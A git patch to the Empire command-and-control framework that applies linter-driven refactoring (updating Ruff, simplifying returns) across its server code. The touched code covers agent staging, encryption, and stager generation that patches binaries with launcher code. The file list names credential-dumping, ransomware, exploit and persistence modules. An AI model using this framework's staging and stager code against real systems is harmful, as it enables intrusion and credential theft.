From 49050d15bb35af62c4db5fbd88b9f4c2af4db0f7 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Sun, 21 Jul 2024 11:03:48 -0700 Subject: [PATCH] Add FURB, SLF, RET to Ruff (#857) * update ruff * fix after updating * add RUF * FURB * SLF * RET autofixes * RET * changelog * run black * fix noqa * update ruff in ci * check for pyenv 2.* --- .../cst-config-install-base.yaml | 2 +- .github/workflows/lint-and-test.yml | 2 +- .pre-commit-config.yaml | 2 +- CHANGELOG.md | 5 + empire/client/src/utils/print_util.py | 6 +- empire/client/src/utils/table_util.py | 8 +- empire/server/api/jwt_auth.py | 3 +- empire/server/api/middleware.py | 6 +- empire/server/api/v2/agent/agent_task_api.py | 14 +- empire/server/api/v2/listener/listener_api.py | 10 +- empire/server/api/v2/shared_dto.py | 12 +- empire/server/api/v2/websocket/socketio.py | 2 +- empire/server/common/agents.py | 88 +-- empire/server/common/encryption.py | 29 +- empire/server/common/helpers.py | 44 +- empire/server/common/packets.py | 3 +- empire/server/common/stagers.py | 57 +- empire/server/core/agent_service.py | 4 +- empire/server/core/agent_task_service.py | 14 +- empire/server/core/db/defaults.py | 8 +- empire/server/core/db/models.py | 12 +- empire/server/core/download_service.py | 2 +- empire/server/core/hooks.py | 2 +- empire/server/core/listener_service.py | 46 +- empire/server/core/module_service.py | 38 +- empire/server/core/obfuscation_service.py | 13 +- empire/server/listeners/dbx.py | 16 +- empire/server/listeners/http.py | 36 +- empire/server/listeners/http_com.py | 14 +- empire/server/listeners/http_foreign.py | 12 +- empire/server/listeners/http_hop.py | 13 +- empire/server/listeners/http_malleable.py | 7 +- empire/server/listeners/onedrive.py | 10 +- empire/server/listeners/port_forward_pivot.py | 21 +- empire/server/listeners/smb.py | 17 +- empire/server/listeners/template.py | 4 + .../powershell/code_execution/invoke_ntsd.py | 3 +- .../invoke_reflectivepeinjection.py | 3 +- .../code_execution/invoke_shellcode.py | 3 +- .../code_execution/invoke_shellcodemsil.py | 3 +- .../collection/get_sql_column_sample_data.py | 3 +- .../powershell/collection/packet_capture.py | 3 +- .../powershell/collection/screenshot.py | 3 +- .../credentials/mimikatz/dcsync_hashdump.py | 3 +- .../credentials/mimikatz/golden_ticket.py | 3 +- .../credentials/mimikatz/lsadump.py | 3 +- .../credentials/mimikatz/mimitokens.py | 3 +- .../powershell/credentials/mimikatz/pth.py | 3 +- .../credentials/mimikatz/silver_ticket.py | 3 +- .../credentials/mimikatz/trust_keys.py | 3 +- .../modules/powershell/credentials/tokens.py | 3 +- .../powershell/exfiltration/PSRansom.py | 3 +- .../exploitation/exploit_eternalblue.py | 3 +- .../lateral_movement/inveigh_relay.py | 3 +- .../lateral_movement/invoke_dcom.py | 3 +- .../lateral_movement/invoke_executemsbuild.py | 3 +- .../lateral_movement/invoke_psexec.py | 3 +- .../lateral_movement/invoke_psremoting.py | 3 +- .../lateral_movement/invoke_smbexec.py | 3 +- .../lateral_movement/invoke_sqloscmd.py | 3 +- .../lateral_movement/invoke_sshcommand.py | 3 +- .../powershell/lateral_movement/invoke_wmi.py | 3 +- .../lateral_movement/invoke_wmi_debugger.py | 3 +- .../jenkins_script_console.py | 3 +- .../new_gpo_immediate_task.py | 3 +- .../powershell/management/invoke_bypass.py | 3 +- .../powershell/management/invoke_script.py | 3 +- .../modules/powershell/management/logoff.py | 3 +- .../management/mailraider/disable_security.py | 3 +- .../management/mailraider/get_emailitems.py | 3 +- .../modules/powershell/management/psinject.py | 3 +- .../management/reflective_inject.py | 3 +- .../modules/powershell/management/runas.py | 3 +- .../modules/powershell/management/shinject.py | 3 +- .../modules/powershell/management/spawn.py | 3 +- .../modules/powershell/management/spawnas.py | 3 +- .../powershell/management/switch_listener.py | 3 +- .../powershell/management/user_to_sid.py | 3 +- .../persistence/elevated/registry.py | 6 +- .../persistence/elevated/schtasks.py | 6 +- .../powershell/persistence/elevated/wmi.py | 6 +- .../persistence/elevated/wmi_updater.py | 6 +- .../persistence/misc/add_sid_history.py | 3 +- .../powershell/persistence/misc/debugger.py | 6 +- .../persistence/powerbreach/deaduser.py | 3 +- .../persistence/powerbreach/eventlog.py | 3 +- .../persistence/powerbreach/resolver.py | 3 +- .../persistence/userland/backdoor_lnk.py | 3 +- .../persistence/userland/registry.py | 6 +- .../persistence/userland/schtasks.py | 6 +- .../server/modules/powershell/privesc/ask.py | 3 +- .../modules/powershell/privesc/bypassuac.py | 3 +- .../powershell/privesc/bypassuac_env.py | 3 +- .../powershell/privesc/bypassuac_eventvwr.py | 3 +- .../powershell/privesc/bypassuac_fodhelper.py | 3 +- .../privesc/bypassuac_sdctlbypass.py | 3 +- .../privesc/bypassuac_tokenmanipulation.py | 3 +- .../powershell/privesc/bypassuac_wscript.py | 3 +- .../modules/powershell/privesc/ms16-032.py | 3 +- .../modules/powershell/privesc/ms16-135.py | 3 +- .../privesc/powerup/service_exe_stager.py | 3 +- .../privesc/powerup/service_stager.py | 3 +- .../privesc/powerup/write_dllhijacker.py | 3 +- .../powershell/recon/fetch_brute_local.py | 3 +- .../modules/powershell/recon/find_fruit.py | 3 +- .../recon/get_sql_server_login_default_pw.py | 3 +- .../host/computerdetails.py | 18 +- .../network/get_sql_server_info.py | 3 +- .../network/powerview/get_gpo_computer.py | 4 +- .../network/powerview/get_subnet_ranges.py | 4 +- empire/server/modules/powershell_template.py | 4 +- .../collection/osx/native_screenshot_mss.py | 4 +- .../lateral_movement/multi/ssh_launcher.py | 4 +- .../modules/python/management/multi/spawn.py | 4 +- .../management/osx/shellcodeinject64.py | 4 +- .../python/persistence/multi/desktopfile.py | 4 +- .../python/persistence/osx/CreateHijacker.py | 4 +- .../python/persistence/osx/LaunchAgent.py | 4 +- .../osx/LaunchAgentUserLandPersistence.py | 4 +- .../python/persistence/osx/loginhook.py | 4 +- .../modules/python/persistence/osx/mail.py | 4 +- .../python/privesc/multi/CVE-2021-3560.py | 4 +- .../python/privesc/multi/CVE-2021-4034.py | 4 +- .../modules/python/privesc/multi/bashdoor.py | 4 +- .../python/privesc/multi/sudo_spawn.py | 4 +- .../python/privesc/osx/dyld_print_to_file.py | 4 +- .../modules/python/privesc/osx/piggyback.py | 4 +- empire/server/modules/python_jobs_template.py | 4 +- .../basic_reporting/basic_reporting.py | 12 +- .../plugins/csharpserver/csharpserver.py | 9 +- empire/server/plugins/example/example.py | 3 +- .../reverseshell_stager_server.py | 17 +- .../websockify_server/websockify_server.py | 14 +- empire/server/stagers/multi/macro.py | 7 +- empire/server/stagers/multi/pyinstaller.py | 4 +- empire/server/stagers/osx/applescript.py | 3 +- empire/server/stagers/osx/application.py | 3 +- empire/server/stagers/osx/dylib.py | 3 +- empire/server/stagers/osx/jar.py | 3 +- empire/server/stagers/osx/macho.py | 3 +- empire/server/stagers/osx/macro.py | 3 +- empire/server/stagers/osx/pkg.py | 3 +- empire/server/stagers/osx/safari_launcher.py | 3 +- .../stagers/windows/backdoorLnkMacro.py | 3 +- empire/server/stagers/windows/cmd_exec.py | 4 +- empire/server/stagers/windows/csharp_exe.py | 9 +- empire/server/stagers/windows/dll.py | 3 +- empire/server/stagers/windows/nim.py | 3 +- empire/server/stagers/windows/reverseshell.py | 4 +- empire/server/stagers/windows/shellcode.py | 19 +- empire/server/stagers/windows/teensy.py | 174 ++--- empire/server/stagers/windows/wmic.py | 18 +- empire/server/utils/data_util.py | 7 +- empire/server/utils/datetime_util.py | 3 +- empire/server/utils/listener_util.py | 8 +- empire/server/utils/math_util.py | 3 +- empire/server/utils/option_util.py | 14 +- empire/test/conftest.py | 3 +- empire/test/test_agents.py | 9 +- empire/test/test_logs.py | 20 +- poetry.lock | 646 +++++++++--------- pyproject.toml | 46 +- 162 files changed, 925 insertions(+), 1075 deletions(-) diff --git a/.github/install_tests/cst-config-install-base.yaml b/.github/install_tests/cst-config-install-base.yaml index 4bce95cbb..d79acc82a 100644 --- a/.github/install_tests/cst-config-install-base.yaml +++ b/.github/install_tests/cst-config-install-base.yaml @@ -8,7 +8,7 @@ commandTests: - name: "pyenv version" command: "pyenv" args: ["--version"] - expectedOutput: ["pyenv 2.3.*"] + expectedOutput: ["pyenv 2.*"] # poetry - name: "poetry python" command: "poetry" diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index d6ee75f5b..710a5aebd 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -15,7 +15,7 @@ jobs: - uses: psf/black@24.4.2 - name: Run ruff run: | - pip install ruff==0.5.0 + pip install ruff==0.5.3 ruff check . matrix-prep-config: runs-on: ubuntu-latest diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index ed3a56c47..2d357c1a6 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -9,7 +9,7 @@ repos: - id: end-of-file-fixer - repo: https://github.com/astral-sh/ruff-pre-commit - rev: v0.2.1 + rev: v0.5.3 hooks: - id: ruff args: [--fix, --exit-non-zero-on-fix] diff --git a/CHANGELOG.md b/CHANGELOG.md index c6b90b6f6..b525c758d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,7 +14,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +### Changed + +- Updated Ruff to 0.5.3 and added additional Ruff rules (@Vinnybod) + ### Fixed + - Removed duplicate code for ironpython agent for loading path resetting (@Cx01N) - Fixed issue of Sharpire taskings not getting assigned correct id (@Cx01N) diff --git a/empire/client/src/utils/print_util.py b/empire/client/src/utils/print_util.py index 8a3193b7f..d08987bae 100644 --- a/empire/client/src/utils/print_util.py +++ b/empire/client/src/utils/print_util.py @@ -92,15 +92,15 @@ def title(version, server, modules, listeners, agents): """ ) print(" " + color(str(modules), "green") + " modules currently loaded") - print("") + print() print( " " + color(str(listeners), "green") + " listeners currently active" ) - print("") + print() print(" " + color(str(agents), "green") + " agents currently active") - print("") + print() print(color("Starkiller is now the recommended way to use Empire.", "green")) print(color(f"Try it out at {server}/index.html", "green")) diff --git a/empire/client/src/utils/table_util.py b/empire/client/src/utils/table_util.py index 285292934..097947f02 100644 --- a/empire/client/src/utils/table_util.py +++ b/empire/client/src/utils/table_util.py @@ -37,11 +37,11 @@ def print_table( table.inner_footing_row_border = False table.inner_heading_row_border = False - print("") + print() print(table.table) if end_space: - print("") + print() def print_agent_table( @@ -86,6 +86,6 @@ def print_agent_table( table.inner_footing_row_border = False table.inner_heading_row_border = False - print("") + print() print(table.table) - print("") + print() diff --git a/empire/server/api/jwt_auth.py b/empire/server/api/jwt_auth.py index de20a6c32..992a23450 100644 --- a/empire/server/api/jwt_auth.py +++ b/empire/server/api/jwt_auth.py @@ -65,8 +65,7 @@ def create_access_token(data: dict, expires_delta: timedelta | None = None): else: expire = datetime.utcnow() + timedelta(minutes=15) to_encode.update({"exp": expire}) - encoded_jwt = jwt.encode(to_encode, SECRET_KEY, algorithm=ALGORITHM) - return encoded_jwt + return jwt.encode(to_encode, SECRET_KEY, algorithm=ALGORITHM) async def get_current_user( diff --git a/empire/server/api/middleware.py b/empire/server/api/middleware.py index 7c9038aa3..c9abc8354 100644 --- a/empire/server/api/middleware.py +++ b/empire/server/api/middleware.py @@ -35,6 +35,6 @@ async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None: if not scope.get("path", "").startswith("/socket.io"): await super().__call__(scope, receive, send) return - else: - await self.app(scope, receive, send) - return + + await self.app(scope, receive, send) + return diff --git a/empire/server/api/v2/agent/agent_task_api.py b/empire/server/api/v2/agent/agent_task_api.py index 5c3c24269..c54f56e35 100644 --- a/empire/server/api/v2/agent/agent_task_api.py +++ b/empire/server/api/v2/agent/agent_task_api.py @@ -560,11 +560,11 @@ async def create_task_socks( ): if is_port_in_use(socks.port): raise HTTPException(status_code=400, detail="Socks port is in use") - else: - resp, err = agent_task_service.create_task_socks( - db, db_agent, socks.port, current_user.id - ) - if err: - raise HTTPException(status_code=400, detail=err) - return domain_to_dto_task(resp) + resp, err = agent_task_service.create_task_socks( + db, db_agent, socks.port, current_user.id + ) + if err: + raise HTTPException(status_code=400, detail=err) + + return domain_to_dto_task(resp) diff --git a/empire/server/api/v2/listener/listener_api.py b/empire/server/api/v2/listener/listener_api.py index e5d5e1482..56ca2b40a 100644 --- a/empire/server/api/v2/listener/listener_api.py +++ b/empire/server/api/v2/listener/listener_api.py @@ -90,12 +90,12 @@ async def update_listener( raise HTTPException(status_code=400, detail=err) return domain_to_dto_listener(resp) - elif listener_req.enabled and db_listener.enabled: + if listener_req.enabled and db_listener.enabled: # err already running / cannot update raise HTTPException( status_code=400, detail="Listener must be disabled before modifying" ) - elif not listener_req.enabled and db_listener.enabled: + if not listener_req.enabled and db_listener.enabled: # disable and update listener_service.stop_listener(db_listener) resp, err = listener_service.update_listener(db, db_listener, listener_req) @@ -104,7 +104,7 @@ async def update_listener( raise HTTPException(status_code=400, detail=err) return domain_to_dto_listener(resp) - elif not listener_req.enabled and not db_listener.enabled: + if not listener_req.enabled and not db_listener.enabled: # update resp, err = listener_service.update_listener(db, db_listener, listener_req) @@ -112,8 +112,8 @@ async def update_listener( raise HTTPException(status_code=400, detail=err) return domain_to_dto_listener(resp) - else: - raise HTTPException(status_code=500, detail="This Shouldn't Happen") + + raise HTTPException(status_code=500, detail="This Shouldn't Happen") @router.delete( diff --git a/empire/server/api/v2/shared_dto.py b/empire/server/api/v2/shared_dto.py index 7664c0f4a..2ea0654c2 100644 --- a/empire/server/api/v2/shared_dto.py +++ b/empire/server/api/v2/shared_dto.py @@ -78,16 +78,16 @@ def to_value_type(value: Any, type: str = "") -> ValueType: type = type or "" if type.lower() == "file": return ValueType.file - elif type.lower() in ["string", "str"] or isinstance(value, str): + if type.lower() in ["string", "str"] or isinstance(value, str): return ValueType.string - elif type.lower() in ["boolean", "bool"] or isinstance(value, bool): + if type.lower() in ["boolean", "bool"] or isinstance(value, bool): return ValueType.boolean - elif type.lower() == "float" or isinstance(value, float): + if type.lower() == "float" or isinstance(value, float): return ValueType.float - elif type.lower() in ["integer", "int"] or isinstance(value, int): + if type.lower() in ["integer", "int"] or isinstance(value, int): return ValueType.integer - else: - return ValueType.string + + return ValueType.string def to_string(value): diff --git a/empire/server/api/v2/websocket/socketio.py b/empire/server/api/v2/websocket/socketio.py index a2f0c59da..c033fdb7e 100644 --- a/empire/server/api/v2/websocket/socketio.py +++ b/empire/server/api/v2/websocket/socketio.py @@ -52,7 +52,7 @@ async def on_connect(sid, environ, auth): user = await get_user_from_token(sid, auth["token"], db) if user: log.info(f"{user.username} connected to socketio") - return + return None except HTTPException: # If a server is restarted and clients are still connected, there are # sometimes token handling errors. We want to reject these since they fail diff --git a/empire/server/common/agents.py b/empire/server/common/agents.py index 76dbff5e3..9f0485964 100644 --- a/empire/server/common/agents.py +++ b/empire/server/common/agents.py @@ -225,19 +225,14 @@ def is_ip_allowed(self, ip_address): """ if self.ipBlackList: if self.ipWhiteList: - results = ( + return ( ip_address in self.ipWhiteList and ip_address not in self.ipBlackList ) - return results - else: - results = ip_address not in self.ipBlackList - return results + return ip_address not in self.ipBlackList if self.ipWhiteList: - results = ip_address in self.ipWhiteList - return results - else: - return True + return ip_address in self.ipWhiteList + return True def save_file( # noqa: PLR0913 self, @@ -371,7 +366,7 @@ def save_module_file(self, sessionID, path, data, language: str): if not str(os.path.normpath(save_file)).startswith(str(safe_path)): message = f"agent {sessionID} attempted skywalker exploit!\n[!] attempted overwrite of {path} with data {data}" log.warning(message) - return + return None # make the recursive directory structure if it doesn't already exist if not save_path.exists(): @@ -444,9 +439,7 @@ def get_agents_db(self): Return all active agents from the database. """ with SessionLocal() as db: - results = db.query(models.Agent).all() - - return results + return db.query(models.Agent).all() def get_agent_nonce_db(self, session_id, db: Session): """ @@ -467,8 +460,8 @@ def get_agent_nonce_db(self, session_id, db: Session): if nonce and nonce is not None: if isinstance(nonce, str): return nonce - else: - return nonce[0] + return nonce[0] + return None def get_language_db(self, session_id): """ @@ -486,14 +479,12 @@ def get_language_db(self, session_id): if name_id: session_id = name_id - language = ( + return ( db.query(models.Agent.language) .filter(models.Agent.session_id == session_id) .scalar() ) - return language - def get_agent_id_db(self, name, db: Session = None): """ Get an agent sessionID based on the name. @@ -553,9 +544,7 @@ def get_autoruns_db(self): results = db.query(models.Config.autorun_data).all() autorun_data = results[0].autorun_data if results[0].autorun_data else "" - autoruns = [autorun_command, autorun_data] - - return autoruns + return [autorun_command, autorun_data] def update_dir_list(self, session_id, response, db: Session): """ " @@ -753,22 +742,22 @@ def get_queued_agent_tasks_db(self, session_id, db: Session): if session_id not in self.agents: log.error(f"Agent {session_id} not active.") return [] - else: - try: - tasks, total = self.mainMenu.agenttasksv2.get_tasks( - db=db, - agents=[session_id], - include_full_input=True, - status=AgentTaskStatus.queued, - ) - for task in tasks: - task.status = AgentTaskStatus.pulled + try: + tasks, total = self.mainMenu.agenttasksv2.get_tasks( + db=db, + agents=[session_id], + include_full_input=True, + status=AgentTaskStatus.queued, + ) + + for task in tasks: + task.status = AgentTaskStatus.pulled - return tasks - except AttributeError: - log.warning("Agent checkin during initialization.") - return [] + return tasks + except AttributeError: + log.warning("Agent checkin during initialization.") + return [] def get_queued_agent_temporary_tasks(self, session_id): """ @@ -777,15 +766,11 @@ def get_queued_agent_temporary_tasks(self, session_id): if session_id not in self.agents: log.error(f"Agent {session_id} not active.") return [] - else: - try: - tasks = self.mainMenu.agenttasksv2.get_temporary_tasks_for_agent( - session_id - ) - return tasks - except AttributeError: - log.warning("Agent checkin during initialization.") - return [] + try: + return self.mainMenu.agenttasksv2.get_temporary_tasks_for_agent(session_id) + except AttributeError: + log.warning("Agent checkin during initialization.") + return [] ############################################################### # @@ -816,7 +801,7 @@ def handle_agent_staging( # noqa: PLR0912 PLR0915 PLR0913 PLR0911 # step 1 of negotiation -> client requests staging code return "STAGE0" - elif meta == "STAGE1": + if meta == "STAGE1": # step 3 of negotiation -> client posts public key message = f"Agent {sessionID} from {clientIP} posted public key" log.info(message) @@ -880,11 +865,9 @@ def handle_agent_staging( # noqa: PLR0912 PLR0915 PLR0913 PLR0911 data = data.encode("ascii", "ignore") # step 4 of negotiation -> server returns RSA(nonce+AESsession)) - encrypted_msg = encryption.rsa_encrypt(rsa_key, data) + return encryption.rsa_encrypt(rsa_key, data) # TODO: wrap this in a routing packet! - return encrypted_msg - else: message = f"Agent {sessionID} returned an invalid PowerShell public key!" log.error(message) @@ -942,11 +925,9 @@ def handle_agent_staging( # noqa: PLR0912 PLR0915 PLR0913 PLR0911 # step 4 of negotiation -> server returns HMAC(AESn(nonce+PUBs)) data = f"{nonce}{serverPub.publicKey}" - encrypted_msg = encryption.aes_encrypt_then_hmac(stagingKey, data) + return encryption.aes_encrypt_then_hmac(stagingKey, data) # TODO: wrap this in a routing packet? - return encrypted_msg - else: message = f"Agent {sessionID} from {clientIP} using an invalid language specification: {language}" log.info(message) @@ -1078,8 +1059,9 @@ def handle_agent_staging( # noqa: PLR0912 PLR0915 PLR0913 PLR0911 else: message = f"Invalid staging request packet from {sessionID} at {clientIP} : {meta}" log.error(message) + return None - def handle_agent_data( # noqa: PLR0913 + def handle_agent_data( self, stagingKey, routingPacket, @@ -1294,7 +1276,7 @@ def handle_agent_response(self, sessionID, encData, update_lastseen=False): log.error(message, exc_info=True) return None - def process_agent_packet( # noqa: PLR0912 PLR0915 PLR0913 + def process_agent_packet( # noqa: PLR0912 PLR0915 self, session_id, response_name, task_id, data, db: Session ): """ diff --git a/empire/server/common/encryption.py b/empire/server/common/encryption.py index 69cf8bcd9..3cfe9a4a4 100644 --- a/empire/server/common/encryption.py +++ b/empire/server/common/encryption.py @@ -101,9 +101,8 @@ def rsa_xml_to_key(xml): rsa_key_value.getElementsByTagName("Exponent")[0].childNodes ) - key = RSA.construct((modulus, exponent)) + return RSA.construct((modulus, exponent)) - return key # if there's an XML parsing error, return None except Exception: return None @@ -123,8 +122,7 @@ def rsa_encrypt(key, data): Take a key object and use it to encrypt the passed data. """ pubkey = PKCS1_v1_5.new(key) - enc_data = pubkey.encrypt(data) - return enc_data + return pubkey.encrypt(data) def aes_encrypt(key, data): @@ -168,8 +166,8 @@ def aes_decrypt(key, data): IV = data[0:16] cipher = Cipher(algorithms.AES(key), modes.CBC(IV), backend=backend) decryptor = cipher.decryptor() - pt = depad(decryptor.update(data[16:]) + decryptor.finalize()) - return pt + return depad(decryptor.update(data[16:]) + decryptor.finalize()) + return None def verify_hmac(key, data): @@ -189,8 +187,8 @@ def verify_hmac(key, data): hmac.new(key, expected, digestmod=hashlib.sha256).digest() == hmac.new(key, mac, digestmod=hashlib.sha256).digest() ) - else: - return False + + return False def aes_decrypt_and_verify(key, data): @@ -242,8 +240,7 @@ def rc4(key, data): char = ord(char) # noqa: PLW2901 out.append(chr(char ^ S[(S[i] + S[j]) % 256]).encode("latin-1")) # out = str(out) - tmp = b"".join(out) - return tmp + return b"".join(out) class DiffieHellman: @@ -304,9 +301,9 @@ def getPrime(self, group=17): if group in list(primes.keys()): return primes[group] - else: - log.error(f"Error: No prime with group {group:d}. Using default.") - return primes[default_group] + + log.error(f"Error: No prime with group {group:d}. Using default.") + return primes[default_group] def genRandom(self, bits): """ @@ -354,10 +351,8 @@ def genSecret(self, privateKey, otherKey): private key to generate a shared secret. """ if self.checkPublicKey(otherKey) is True: - sharedSecret = pow(otherKey, privateKey, self.prime) - return sharedSecret - else: - raise Exception("Invalid public key.") + return pow(otherKey, privateKey, self.prime) + raise Exception("Invalid public key.") def genKey(self, otherKey): """ diff --git a/empire/server/common/helpers.py b/empire/server/common/helpers.py index 579f168ed..fbedd56f4 100644 --- a/empire/server/common/helpers.py +++ b/empire/server/common/helpers.py @@ -109,8 +109,7 @@ def random_string(length=-1, charset=string.ascii_letters): """ if length == -1: length = random.randrange(6, 16) - random_string = "".join(random.choice(charset) for x in range(length)) - return random_string + return "".join(random.choice(charset) for x in range(length)) def obfuscate_call_home_address(data): @@ -172,11 +171,10 @@ def enc_powershell(raw): """ Encode a PowerShell command into a form usable by powershell.exe -enc ... """ - tmp = base64.b64encode(raw.encode("UTF-16LE")) + return base64.b64encode(raw.encode("UTF-16LE")) # tmp = raw # tmp = bytes("".join([str(char) + "\x00" for char in raw]), "UTF-16LE") # tmp = base64.b64encode(tmp) - return tmp def powershell_launcher(raw, modifiable_launcher): @@ -207,7 +205,7 @@ def strip_powershell_comments(data): strippedCode = re.sub(re.compile("<#.*?#>", re.DOTALL), "\n", data) # strip blank lines, lines starting with #, and verbose/debug statements - strippedCode = "\n".join( + return "\n".join( [ line for line in strippedCode.split("\n") @@ -220,8 +218,6 @@ def strip_powershell_comments(data): ] ) - return strippedCode - #################################################################################### # @@ -400,7 +396,7 @@ def parse_credentials(data): return parse_mimikatz(data) # powershell/collection/prompt output - elif parts[0].startswith(b"[+] Prompted credentials:"): + if parts[0].startswith(b"[+] Prompted credentials:"): parts = parts[0].split(b"->") if len(parts) == 2: # noqa: PLR2004 username = parts[1].split(b":", 1)[0].strip() @@ -414,9 +410,8 @@ def parse_credentials(data): return [("plaintext", domain, username, password, "", "")] - else: - log.error("Error in parsing prompted credential output.") - return None + log.error("Error in parsing prompted credential output.") + return None # python/collection/prompt (Mac OS) elif b"text returned:" in parts[0]: @@ -424,6 +419,7 @@ def parse_credentials(data): if len(parts2) >= 2: # noqa: PLR2004 password = parts2[-1] return [("plaintext", "", "", password, "", "")] + return None else: return None @@ -593,16 +589,13 @@ def get_file_size(file): byte_size = sys.getsizeof(file) kb_size = old_div(byte_size, 1024) if kb_size == 0: - byte_size = f"{byte_size} Bytes" - return byte_size + return f"{byte_size} Bytes" mb_size = old_div(kb_size, 1024) if mb_size == 0: - kb_size = f"{kb_size} KB" - return kb_size + return f"{kb_size} KB" gb_size = old_div(mb_size, 1024) % (mb_size) if gb_size == 0: - mb_size = f"{mb_size} MB" - return mb_size + return f"{mb_size} MB" return f"{gb_size} GB" @@ -671,20 +664,19 @@ def color(string, color=None): attr.append("34") return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) - elif string.strip().startswith("[!]"): + if string.strip().startswith("[!]"): attr.append("31") return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) - elif string.strip().startswith("[+]"): + if string.strip().startswith("[+]"): attr.append("32") return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) - elif string.strip().startswith("[*]"): + if string.strip().startswith("[*]"): attr.append("34") return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) - elif string.strip().startswith("[>]"): + if string.strip().startswith("[>]"): attr.append("33") return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) - else: - return string + return string def unique(seq, idfun=None): @@ -740,8 +732,7 @@ def decode_base64(data): data += b"=" * missing_padding try: - result = base64.decodebytes(data) - return result + return base64.decodebytes(data) except binascii.Error: # if there's a decoding error, just return the data return data @@ -779,8 +770,7 @@ def __run(self): def globaltrace(self, frame, why, arg): if why == "call": return self.localtrace - else: - return None + return None def localtrace(self, frame, why, arg): if self.killed and why == "line": diff --git a/empire/server/common/packets.py b/empire/server/common/packets.py index 75935862e..f68facf06 100644 --- a/empire/server/common/packets.py +++ b/empire/server/common/packets.py @@ -417,8 +417,7 @@ def build_routing_packet( # noqa: PLR0913 if isinstance(encData, str) and sys.version[0] != "2": encData = encData.encode("Latin-1") - packet = RC4IV + rc4EncData + encData - return packet + return RC4IV + rc4EncData + encData def resolve_id(PacketID): diff --git a/empire/server/common/stagers.py b/empire/server/common/stagers.py index 9ec7facb3..ecf9e1c3c 100755 --- a/empire/server/common/stagers.py +++ b/empire/server/common/stagers.py @@ -59,8 +59,8 @@ def generate_launcher_fetcher( ) if encode: return helpers.powershell_launcher(stager, launcher) - else: - return stager + + return stager def generate_launcher( # noqa: PLR0913 self, @@ -115,6 +115,7 @@ def generate_launcher( # noqa: PLR0913 ) if launcher_code: return launcher_code + return None def generate_dll(self, poshCode, arch): """ @@ -141,16 +142,15 @@ def generate_dll(self, poshCode, arch): # patch the dll with the new PowerShell code searchString = (("Invoke-Replace").encode("UTF-16"))[2:] index = dllRaw.find(searchString) - dllPatched = ( + return ( dllRaw[:index] + replacementCode + dllRaw[(index + len(replacementCode)) :] ) - return dllPatched - else: log.error(f"Original .dll for arch {arch} does not exist!") + return None def generate_powershell_exe( self, posh_code, dot_net_version="net40", obfuscate=False @@ -178,8 +178,7 @@ def generate_powershell_exe( stager_yaml, "CSharpPS", confuse=obfuscate ) - directory = f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{file_name}.exe" - return directory + return f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{file_name}.exe" def generate_powershell_shellcode( self, posh_code, arch="both", dot_net_version="net40" @@ -204,7 +203,7 @@ def generate_powershell_shellcode( shellcode = donut.create(file=directory, arch=arch_type) return shellcode, None - def generate_exe_oneliner( # noqa: PLR0913 + def generate_exe_oneliner( self, language, obfuscate, obfuscation_command, encode, listener_name ): """ @@ -245,9 +244,8 @@ def generate_exe_oneliner( # noqa: PLR0913 (not obfuscate) or ("launcher" not in obfuscation_command.lower()) ): return helpers.powershell_launcher(launcher, launcher_front) - else: - # otherwise return the case-randomized stager - return launcher + # otherwise return the case-randomized stager + return launcher def generate_python_exe( self, python_code, dot_net_version="net40", obfuscate=False @@ -275,8 +273,7 @@ def generate_python_exe( stager_yaml, "CSharpPy", confuse=obfuscate ) - directory = f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{file_name}.exe" - return directory + return f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{file_name}.exe" def generate_python_shellcode( self, posh_code, arch="both", dot_net_version="net40" @@ -343,13 +340,10 @@ def generate_macho(self, launcherCode): ) launcherCode = base64.urlsafe_b64encode(launcherCode.encode("utf-8")) launcher = launcherCode + b"\x00" * (placeHolderSz - len(launcherCode)) - patchedMachO = ( - template[:offset] + launcher + template[(offset + len(launcher)) :] - ) + return template[:offset] + launcher + template[(offset + len(launcher)) :] - return patchedMachO - else: - log.error("Unable to patch MachO binary") + log.error("Unable to patch MachO binary") + return None def generate_dylib(self, launcherCode, arch, hijacker): # noqa: PLR0912 """ @@ -399,15 +393,14 @@ def generate_dylib(self, launcherCode, arch, hijacker): # noqa: PLR0912 launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode)) if isinstance(launcher, str): launcher = launcher.encode("UTF-8") - patchedDylib = b"".join( + return b"".join( [template[:offset], launcher, template[(offset + len(launcher)) :]] ) - return patchedDylib - else: - log.error("Unable to patch dylib") + log.error("Unable to patch dylib") + return None - def generate_appbundle( # noqa: PLR0915, PLR0913, PLR0912 + def generate_appbundle( # noqa: PLR0915, PLR0912 self, launcherCode, Arch, icon, AppName, disarm ): """ @@ -567,8 +560,8 @@ def generate_appbundle( # noqa: PLR0915, PLR0913, PLR0912 os.remove("/tmp/launcher.zip") return zipbundle - else: - log.error("Unable to patch application") + log.error("Unable to patch application") + return None def generate_pkg(self, launcher, bundleZip, AppName): # unzip application bundle zip. Copy everything for the installer pkg to a temporary location @@ -654,8 +647,6 @@ def generate_jar(self, launcherCode): except OSError as e: if e.errno != errno.EEXIST: raise - else: - pass with open(jarpath + "Run.java", "w") as f: f.write(javacode) @@ -696,9 +687,7 @@ def generate_upload(self, file, path): file_encoded = base64.b64encode(file).decode("UTF-8") script = script.replace("BASE64_BLOB_GOES_HERE", file_encoded) - script = script.replace("FILE_UPLOAD_FULL_PATH_GOES_HERE", path) - - return script + return script.replace("FILE_UPLOAD_FULL_PATH_GOES_HERE", path) def generate_stageless(self, options): listener_name = options["Listener"]["Value"] 